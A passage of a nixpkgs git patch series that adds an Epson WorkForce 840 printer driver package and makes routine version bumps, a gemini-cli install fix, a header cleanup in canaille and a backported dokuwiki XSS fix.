++			eps_raster_print(raster_h, NULL, 0, 0, (int *) &nraster);
+ 
+ 			bAbort = (error) ? TRUE : FALSE;
+ 			if (epcgEndPage (bAbort)) {
diff --git a/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/include-raster-helper.patch b/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/include-raster-helper.patch
new file mode 100644
index 000000000000..de32b9e54381
--- /dev/null
+++ b/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/include-raster-helper.patch
@@ -0,0 +1,23 @@
+diff --git a/src/pagemanager/pagemanager.c b/src/pagemanager/pagemanager.c
+index 029e6d3..2881585 100644
+--- a/src/pagemanager/pagemanager.c
++++ b/src/pagemanager/pagemanager.c
+@@ -23,6 +23,7 @@
+ #include "debuglog.h"
+ #include "memory.h"
+ #include "raster.h"
++#include "raster-helper.h"
+ #include "pagemanager.h"
+
+ extern int JobCanceled;
+diff --git a/src/raster_to_epson.c b/src/raster_to_epson.c
+index 6e621c8..6eea77c 100644
+--- a/src/raster_to_epson.c
++++ b/src/raster_to_epson.c
+@@ -36,6 +36,7 @@
+ #include "raster.h"
+ #include "memory.h"
+ #include "raster_to_epson.h"
++#include "raster-helper.h"
+ #include "pagemanager.h"
+ #include "filter_option.h"
diff --git a/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/package.nix b/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/package.nix
new file mode 100644
index 000000000000..fde1c9855b12
--- /dev/null
+++ b/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/package.nix
@@ -0,0 +1,131 @@
+{
+  autoreconfHook,
+  cups,
+  libjpeg,
+  rpmextract,
+  fetchurl,
+  lib,
+  stdenv,
+}:
+
+let
+  srcdirs = {
+    filter = "epson-inkjet-printer-filter-1.0.0";
+    driver = "epson-inkjet-printer-workforce-840-series-1.0.0";
+  };
+in
+stdenv.mkDerivation (finalAttrs: {
+  pname = "epson-inkjet-printer-workforce-840-series";
+  version = "1.0.0";
+
+  # The Epson may be unreliable, and it has been since sometime in
+  # 2024. Non-browser requests using commands like fetchurl receive a
+  # 403 error, an access denied response -- last checked on
+  # 2025-08-21.
+  #
+  # Therefore, an archive.org link has been added as a fallback
+  # option just in case.
+  src = fetchurl {
+    # NOTE: Don't forget to update the webarchive link too!
+    urls = [
+      "https://download.ebz.epson.net/dsc/op/stable/SRPMS/epson-inkjet-printer-workforce-840-series-${finalAttrs.version}-1lsb3.2.src.rpm"
+      "https://web.archive.org/web/https://download.ebz.epson.net/dsc/op/stable/SRPMS/epson-inkjet-printer-workforce-840-series-${finalAttrs.version}-1lsb3.2.src.rpm"
+    ];
+    hash = "sha256-rTYnEmgzqR/wOZYYIe2rO9x2cX8s2qDyTuRaTjzJjbg=";
+  };
+  sourceRoot = srcdirs.filter;
+
+  nativeBuildInputs = [
+    autoreconfHook
+    rpmextract
+  ];
+  buildInputs = [
+    cups
+    libjpeg
+  ];
+
+  unpackPhase = ''
+    runHook preUnpack
+
+    rpmextract "$src"
+    for i in ${lib.concatStringsSep " " (builtins.attrValues srcdirs)}; do
+        tar xvf "$i".tar.gz
+    done
+
+    runHook postUnpack
+  '';
+
+  # Both patches fix errors that occur when building with GCC 14.
+  #
+  # eps_raster_print-cast.patch fixes 'error: passing argument 5 of
+  # ‘eps_raster_print’ from incompatible pointer type' in file
+  # raster_to_epson.c
+  #
+  # include-raster-helper.patch fixes 'error: implicit declaration of
+  # function' in files pagemanager.c and raster_to_epson.c
+  patches = [
+    ./eps_raster_print-cast.patch
+    ./include-raster-helper.patch
+  ];
+
+  installPhase =
+    let
+      filterdir = "$out/lib/cups/filter";
+      docdir = "$out/share/doc/epson-inkjet-printer-workforce-840-series";
+      ppddir = "$out/share/cups/model/epson-inkjet-printer-workforce-840-series";
+      libdir =
+        if stdenv.hostPlatform.isx86_64 then
+          "lib64"
+        else
+          throw "Platforms other than x86_64-linux are not (yet) supported.";
+    in
+    ''
+      runHook preInstall
+
+      mkdir -p "$out" "${docdir}" "${filterdir}" "${ppddir}"
+      cp src/epson_inkjet_printer_filter "${filterdir}"
+
+      cp AUTHORS COPYING COPYING.EPSON COPYING.LIB "${docdir}"
+
+      cd ../${srcdirs.driver}
+      cp Manual.txt README "${docdir}"
+      for ppd in ppds/*; do
+          substituteInPlace "$ppd" --replace-fail '/opt/epson-inkjet-printer-workforce-840-series/cups/lib' "$out/lib/cups"
+          gzip -c "$ppd" > "${ppddir}/''${ppd#*/}"
+      done
+      cp -r resource watermark ${libdir} "$out"
+
+      runHook postInstall
+    '';
+
+  meta = {
+    description = "Proprietary CUPS drivers for Epson inkjet printers";
+    longDescription = ''
+      This software is a filter program used with the Common UNIX Printing
+      System (CUPS) under Linux. It supplies high quality printing with
+      Seiko Epson Color Ink Jet Printers.
+
+      This printer driver is supporting the following printers.
+
+      Epson Stylus Office BX925
+      Epson WorkForce 840
+
+      To use the driver adjust your configuration.nix file:
+      ```nix
+      {
+        services.printing = {
+          enable = true;
+          drivers = [ pkgs.epson-inkjet-printer-workforce-840-series ];
+        };
+      }
+      ```
+    '';
+    downloadPage = "http://download.ebz.epson.net/dsc/du/02/DriverDownloadInfo.do?LG2=EN&CN2=&DSCMI=16839&DSCCHK=3d7bc6bdfca08006abfb859fb1967183156a7252";
+    license = with lib.licenses; [
+      lgpl21
+      epson
+    ];
+    maintainers = with lib.maintainers; [ heichro ];
+    platforms = [ "x86_64-linux" ];
+  };
+})

From 5c69452f7430d423132b2dcf9734918dea5df43d Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 9 Sep 2025 14:05:51 +0000
Subject: [PATCH 4391/4511] discord-canary: 0.0.751 -> 0.0.752

(cherry picked from commit fe38fcf5b270c718b4831190f6404119f03b2224)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index c0b094f1026c..5b63c16e6de3 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.108";
         ptb = "0.0.159";
-        canary = "0.0.751";
+        canary = "0.0.752";
         development = "0.0.85";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-cE1BiWwZGrSzvdKDSiAs+Dz/nnxhuVs4JQYMwwY/F5k=";
+        hash = "sha256-6hq0KIXR9j/AHGPyQIXjhf1uJiYizxB5Nu+0unn/frE=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From 32d865294190ebd99d36f88385fdd66e6d343a8a Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 9 Sep 2025 14:07:16 +0000
Subject: [PATCH 4392/4511] pkgsCross.aarch64-darwin.discord-canary: 0.0.857 ->
 0.0.858

(cherry picked from commit c9c64965a96707f307ef04e0067f3a7976bba41f)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 5b63c16e6de3..e34e81ff39ee 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.359";
         ptb = "0.0.190";
-        canary = "0.0.857";
+        canary = "0.0.858";
         development = "0.0.97";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-omk2vau5LKRhxgcG3k4dYqyc3YH7mZ72Nz4lQyaoO0c=";
+        hash = "sha256-/dVr7ZS6bRccLPz85xxoniZEbkK1qQ3lqedhGuaBIRk=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From 1df2d115093db3bde11bcc411c702e95e7aaae82 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 9 Sep 2025 13:56:59 +0000
Subject: [PATCH 4393/4511] firefox-beta-unwrapped: 143.0b8 -> 143.0b9

(cherry picked from commit 0fdb9ab0386ac17c5e93480d93a0a0185eab8651)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index b71647b7dd19..107d7d4fc95f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "143.0b8";
+  version = "143.0b9";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "bf8e78abcc1cf6c8b48a591d0185c85195a818de0d13bafa3f004ad9c76364a2c07cacdf09fe0ae2e290d9cbce7b8c3ba4b57793cd3d39240023ef53eea08377";
+    sha512 = "b014e343ddba2e3750a0f50925c9b7f07237593c299604d96275f45332063f1487a47234411f7c952ee50ffaeb385a22dedbc4f924e4e0fc89668172b06c78fd";
   };
 
   meta = {

From 238ed234f589c72791eccaa5ee83aca81a86743a Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 9 Sep 2025 13:58:08 +0000
Subject: [PATCH 4394/4511] firefox-devedition-unwrapped: 143.0b8 -> 143.0b9

(cherry picked from commit 3e96324c461ce7345aeea2071f94527ba8e60f8f)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 13f91c7d8161..4e425f2f3d3a 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "143.0b8";
+  version = "143.0b9";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "89152a4dd3e17f68d7991fae65a6365a2273fcbef28c245a76e9e068a1f12c486a7d0c6d3cb8988c1c9955b15809fa93e117e25b04f9b1a9d449e685cbf30cfc";
+    sha512 = "a323bbcc7c8898073e320f3c2701881d849cff31a01a8bad34df7f08945dd7fb7e8cc9afd8aceb209198e8932b7b1d835af45b87459f4454f9a7f48bc85ef690";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 4cfb1f0de6712941d6cde2a8c9c3a454cdaaa19c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 9 Sep 2025 14:07:09 +0000
Subject: [PATCH 4395/4511] zipline: 4.3.0 -> 4.3.1

Changelog: https://github.com/diced/zipline/releases/tag/v4.3.1
Diff: https://github.com/diced/zipline/compare/v4.3.0...v4.3.1
(cherry picked from commit 86283ed33c9ef4723393569207f2d634b8b14215)
---
 pkgs/by-name/zi/zipline/package.nix | 12 +++---------
 1 file changed, 3 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index 8ae1bd49ffe2..371922fa4017 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -5,7 +5,6 @@
   pnpm_10,
   nodejs_24,
   makeWrapper,
-  prisma,
   prisma-engines,
   ffmpeg,
   openssl,
@@ -49,13 +48,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.3.0";
+  version = "4.3.1";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/UNSAvXfVeybFGFFQaVklAbKGT64pa37DmUilzo5ss4=";
+    hash = "sha256-tQRfgLU0Dvf3vhELsttprfzscvHUgI1u7k9RA4S4vqo=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git_head
@@ -63,15 +62,10 @@ stdenv.mkDerivation (finalAttrs: {
     '';
   };
 
-  postPatch = ''
-    substituteInPlace src/lib/db/migration/index.ts \
-      --replace-fail "pnpm prisma" ${lib.getExe' prisma "prisma"}
-  '';
-
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     fetcherVersion = 2;
-    hash = "sha256-TCbtaxc8AEpFhaHpK+NIrLPR6dQ+iFIEfEfwKob61yI=";
+    hash = "sha256-zbr57RVBKGpnL5u0evbQAKGyMftHXj6cuntYBHiUxiM=";
   };
 
   buildInputs = [

From f79aa1453249c0ccc8c4162699d47ec0cef1265d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 8 Sep 2025 19:50:56 +0000
Subject: [PATCH 4396/4511] lockbook: 0.9.26 -> 0.9.27

(cherry picked from commit 404ccc741b501a14b70e92fc09544402b60bbc7d)
---
 pkgs/by-name/lo/lockbook/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook/package.nix b/pkgs/by-name/lo/lockbook/package.nix
index 40ec0d1681ab..3d0e12e9d820 100644
--- a/pkgs/by-name/lo/lockbook/package.nix
+++ b/pkgs/by-name/lo/lockbook/package.nix
@@ -7,16 +7,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "lockbook";
-  version = "0.9.26";
+  version = "0.9.27";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-tiw8FtPtXtBZsKxgZ7T+6VUoBO93IkuKfEHNol2fJ18=";
+    hash = "sha256-D194oIp6EE0Ub0+4iw4SlTxoyJ9I8xZa67TTh241BvE=";
   };
 
-  cargoHash = "sha256-XVvSVaUn4N7lsgBEAbRfCD6qR4I/n/NHBw2qISWrzI0=";
+  cargoHash = "sha256-KTT4z9lSrxpbCAyEccFMdqrCJKNYhv/8Jb6HeKzJYHs=";
 
   doCheck = false; # there are no cli tests
   cargoBuildFlags = [

From a17c78422c12f493bfddeb024629d1104238ecef Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 8 Sep 2025 19:50:14 +0000
Subject: [PATCH 4397/4511] lockbook-desktop: 0.9.26 -> 0.9.27

(cherry picked from commit 6797f0c7afd3c06f2539a2bf6d72a852e244456d)
---
 pkgs/by-name/lo/lockbook-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook-desktop/package.nix b/pkgs/by-name/lo/lockbook-desktop/package.nix
index c6d2ba134d86..301fec6d34d9 100644
--- a/pkgs/by-name/lo/lockbook-desktop/package.nix
+++ b/pkgs/by-name/lo/lockbook-desktop/package.nix
@@ -18,16 +18,16 @@ let
 in
 rustPlatform.buildRustPackage rec {
   pname = "lockbook-desktop";
-  version = "0.9.26";
+  version = "0.9.27";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-tiw8FtPtXtBZsKxgZ7T+6VUoBO93IkuKfEHNol2fJ18=";
+    hash = "sha256-D194oIp6EE0Ub0+4iw4SlTxoyJ9I8xZa67TTh241BvE=";
   };
 
-  cargoHash = "sha256-XVvSVaUn4N7lsgBEAbRfCD6qR4I/n/NHBw2qISWrzI0=";
+  cargoHash = "sha256-KTT4z9lSrxpbCAyEccFMdqrCJKNYhv/8Jb6HeKzJYHs=";
 
   nativeBuildInputs = [
     pkg-config

From f31698c53c9e640c133761f205f3b2c38915a312 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 9 Sep 2025 14:59:45 +0000
Subject: [PATCH 4398/4511] tutanota-desktop: 304.250825.0 -> 304.250901.0

(cherry picked from commit 654d24144ad839f2febc403a8c41cbe3c6ab1d34)
---
 pkgs/by-name/tu/tutanota-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
index a7f66c50e686..1b495db5ea71 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -8,11 +8,11 @@
 
 appimageTools.wrapType2 rec {
   pname = "tutanota-desktop";
-  version = "304.250825.0";
+  version = "304.250901.0";
 
   src = fetchurl {
     url = "https://github.com/tutao/tutanota/releases/download/tutanota-desktop-release-${version}/tutanota-desktop-linux.AppImage";
-    hash = "sha256-5nEC9zTmPhlv8+7a2UAuZpGSmOC+lMPzCbc2InvAo2k=";
+    hash = "sha256-fzNmkJZQ+BLWlNZS1F7C6kCeigFmd3ztsd+ROPAq2u0=";
   };
 
   extraPkgs = pkgs: [ pkgs.libsecret ];

From d6326ce0bfcbd96afdd86533c8c3ac89b321c316 Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Tue, 9 Sep 2025 14:26:02 +0200
Subject: [PATCH 4399/4511] nixos/canaille: remove HTTP header X-XSS-Protection

Addresses https://github.com/NixOS/nixpkgs/issues/438800

(cherry picked from commit 301e5cca9cd670aacfca1c9df0babfd6c37e1bf9)
---
 nixos/modules/services/security/canaille.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/modules/services/security/canaille.nix b/nixos/modules/services/security/canaille.nix
index fd11ac58df53..6858ad0e4a94 100644
--- a/nixos/modules/services/security/canaille.nix
+++ b/nixos/modules/services/security/canaille.nix
@@ -349,7 +349,6 @@ in
 
         add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
         add_header X-Frame-Options                      "SAMEORIGIN"    always;
-        add_header X-XSS-Protection                     "1; mode=block" always;
         add_header X-Content-Type-Options               "nosniff"       always;
         add_header Referrer-Policy                      "same-origin"   always;
       '';

From 44f19a926ca198652d3640a2281feff75d3b1164 Mon Sep 17 00:00:00 2001
From: e1mo <git@e1mo.de>
Date: Tue, 9 Sep 2025 23:24:19 +0200
Subject: [PATCH 4400/4511] dokuwiki: apply xss fix

Backported fix for https://github.com/dokuwiki/dokuwiki/issues/4512
(Unauthenticated Reflected Cross Site Scripting) since the 2024-02-06
release didn't receive it.

Not-cherry-picked-because: Manually applying upstream patch to avoid
  breaking updates where this would not be needed.
---
 pkgs/by-name/do/dokuwiki/package.nix | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/pkgs/by-name/do/dokuwiki/package.nix b/pkgs/by-name/do/dokuwiki/package.nix
index 50ddcfb86bb3..dad4f499b85d 100644
--- a/pkgs/by-name/do/dokuwiki/package.nix
+++ b/pkgs/by-name/do/dokuwiki/package.nix
@@ -4,6 +4,7 @@
   fetchFromGitHub,
   writeText,
   nixosTests,
+  fetchpatch,
   dokuwiki,
 }:
 
@@ -18,6 +19,17 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-jrxsVBStvRxHCAOGVUkqtzE75wRBiVR+KxSCNuI2vnk=";
   };
 
+  patches = [
+    (fetchpatch {
+      # Backported from dokuwiki 2025-05-14b release
+      # Since the exact same (vulnerable) code is also present in 2024-02-06b, but there is no
+      # updated 2024-02-06* available.
+      name = "backport-xss-fix-in-search.patch";
+      url = "https://github.com/dokuwiki-translate/dokuwiki/commit/03fdedf74fd0e882fc06c06cd90a2bb608fe374b.patch";
+      hash = "sha256-h6qscrZ0VNguelWyrAxQVze9H2Y5oXH2tCEpEdRqr2I=";
+    })
+  ];
+
   preload = writeText "preload.php" ''
     <?php
 

From 2917a17f858571a074fe82c0d515c4673ece50ca Mon Sep 17 00:00:00 2001
From: skoove <zie@skoove.dev>
Date: Tue, 9 Sep 2025 20:30:45 +1000
Subject: [PATCH 4401/4511] vintagestory: 1.21.0 -> 1.21.1

(cherry picked from commit 7b04f942cf745f4e43ce772a692b68bdd1315524)
---
 pkgs/by-name/vi/vintagestory/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index dec4ab0b33b3..51d14ea5bdc1 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -21,11 +21,11 @@
 
 stdenv.mkDerivation rec {
   pname = "vintagestory";
-  version = "1.21.0";
+  version = "1.21.1";
 
   src = fetchurl {
     url = "https://cdn.vintagestory.at/gamefiles/stable/vs_client_linux-x64_${version}.tar.gz";
-    hash = "sha256-90YQOur7UhXxDBkGLSMnXQK7iQ6+Z8Mqx9PEG6FEXBs=";
+    hash = "sha256-6b0IXzTawRWdm2blOpMAIDqzzv/S7O3c+5k7xOhRFvI=";
   };
 
   nativeBuildInputs = [

From f75695404d2835582bd1d1132e71a8b3ab0b7f30 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fausto=20N=C3=BA=C3=B1ez=20Alberro?=
 <fausto.nunez@mailbox.org>
Date: Sat, 28 Jun 2025 11:25:26 +0200
Subject: [PATCH 4402/4511] gemini-cli: fix file collisions

Multiple Node.js packages in nixpkgs create file collisions when installed together in home-manager or system profiles. Specifically:

- `gemini-cli` vs `eslint`: collision on `lib/node_modules/eslint/conf/default-cli-options.js`
- `gemini-cli` vs `angular-language-server`: collision on `lib/node_modules/semver/README.md` (with permission differences: 0555 vs 0444)

This occurs because these packages install their bundled dependencies directly to `$out/lib/node_modules/`, causing path conflicts when multiple packages provide the same transitive dependencies.

The issue stems from packages copying their entire `node_modules` directory to a shared location (`$out/lib/node_modules/`) rather than isolating their dependencies in package-specific directories.

Before:
```nix
cp -r node_modules "$out/lib/"
```

After:
```nix
cp -r node_modules "$out/share/gemini-cli/"
```

This is probably counterproductive in some ways (would ideally share deps?) but at least this fix allows these packages to coexist.

(cherry picked from commit 1aff5d6e7ee4d833cea31763f0297fca2b53e1f5)
---
 pkgs/by-name/ge/gemini-cli/package.nix | 18 +++++++-----------
 1 file changed, 7 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/ge/gemini-cli/package.nix b/pkgs/by-name/ge/gemini-cli/package.nix
index 4c97ca163669..fb3dff40e078 100644
--- a/pkgs/by-name/ge/gemini-cli/package.nix
+++ b/pkgs/by-name/ge/gemini-cli/package.nix
@@ -36,20 +36,16 @@ buildNpmPackage (finalAttrs: {
 
   installPhase = ''
     runHook preInstall
+    mkdir -p $out/{bin,share/gemini-cli}
 
-    mkdir -p "$out/lib"
+    cp -r node_modules $out/share/gemini-cli/
 
-    cp -r node_modules "$out/lib/"
-
-    rm -f "$out/lib/node_modules/@google/gemini-cli"
-    rm -f "$out/lib/node_modules/@google/gemini-cli-core"
-
-    cp -r packages/cli "$out/lib/node_modules/@google/gemini-cli"
-    cp -r packages/core "$out/lib/node_modules/@google/gemini-cli-core"
-
-    mkdir -p "$out/bin"
-    ln -s ../lib/node_modules/@google/gemini-cli/dist/index.js "$out/bin/gemini"
+    rm -f $out/share/gemini-cli/node_modules/@google/gemini-cli
+    rm -f $out/share/gemini-cli/node_modules/@google/gemini-cli-core
+    cp -r packages/cli $out/share/gemini-cli/node_modules/@google/gemini-cli
+    cp -r packages/core $out/share/gemini-cli/node_modules/@google/gemini-cli-core
 
+    ln -s $out/share/gemini-cli/node_modules/@google/gemini-cli/dist/index.js $out/bin/gemini
     runHook postInstall
   '';
 

From f081cc40142203788f4c743e7314a4a6b1589018 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:31 +0000
Subject: [PATCH 4403/4511] linux_testing: 6.17-rc4 -> 6.17-rc5

(cherry picked from commit 222caccafe5f07827af33fbefc527b2ca1818456)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 18e7919d89cf..3fd90c288679 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.17-rc4",
-        "hash": "sha256:1vjwy9n3rpxjymyzyz7fbj20z0wf27229aml3qazcmy5kk115v66",
+        "version": "6.17-rc5",
+        "hash": "sha256:14dvh8vbc3digvx96mhqnd4ijbxkhn1ph1nqkxlri3sff5z51k9x",
         "lts": false
     },
     "6.1": {

From f8b4d64918907057607983d3591b9a9930094ec7 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:33 +0000
Subject: [PATCH 4404/4511] linux_6_16: 6.16.5 -> 6.16.6

(cherry picked from commit 6a0b5259d2c8749e402394604318cf030f0d7583)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 3fd90c288679..7e60f9e10c6b 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -35,8 +35,8 @@
         "lts": true
     },
     "6.16": {
-        "version": "6.16.5",
-        "hash": "sha256:1wqk48jzmw5cbijsx5gya8mb0hwzf3pjns85xphisambgspgpgvn",
+        "version": "6.16.6",
+        "hash": "sha256:00ihif1hqz1xi3bdzw25j9fjjvirnqpms0qf39hgnri15qg7pda8",
         "lts": false
     }
 }

From 23b1e00924eec66b1fb021530ed8e836a258ca38 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:35 +0000
Subject: [PATCH 4405/4511] linux_6_12: 6.12.45 -> 6.12.46

(cherry picked from commit 7f7d17a771743253c4a7dcdadabc484bee8c8ef1)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7e60f9e10c6b..18b8bdd3157e 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -30,8 +30,8 @@
         "lts": true
     },
     "6.12": {
-        "version": "6.12.45",
-        "hash": "sha256:0gnvz69anxxpf3ns424mcb6xy10zjxdgb8c126fbipzvkiaai5cg",
+        "version": "6.12.46",
+        "hash": "sha256:0gjp2jqw9ip8j5i97bg2xvdy6r5sqzvia16qqlisrji4sf176pif",
         "lts": true
     },
     "6.16": {

From ba3ee5aea278544f8327022576435450450955f1 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:37 +0000
Subject: [PATCH 4406/4511] linux_6_6: 6.6.104 -> 6.6.105

(cherry picked from commit fee9232449a108d731ec9bc4e0f9e7c72ce8cf49)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 18b8bdd3157e..f8651a444692 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -25,8 +25,8 @@
         "lts": true
     },
     "6.6": {
-        "version": "6.6.104",
-        "hash": "sha256:0sp32nlvglmf1fgapkks6x1xkcmc75i13lfzvjnvmyhscsfjyxra",
+        "version": "6.6.105",
+        "hash": "sha256:078skrcidk6ql0p33q1m6h1lc0miv2hwn5368c5rhwhq9xk6x49z",
         "lts": true
     },
     "6.12": {

From b524e29e5c57a5f78185043b343175d3f3dcd19c Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:40 +0000
Subject: [PATCH 4407/4511] linux_6_1: 6.1.150 -> 6.1.151

(cherry picked from commit f20203081d2dc219d29a0fe2e4fe94bad0be9737)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index f8651a444692..7d2706d2bfcc 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -5,8 +5,8 @@
         "lts": false
     },
     "6.1": {
-        "version": "6.1.150",
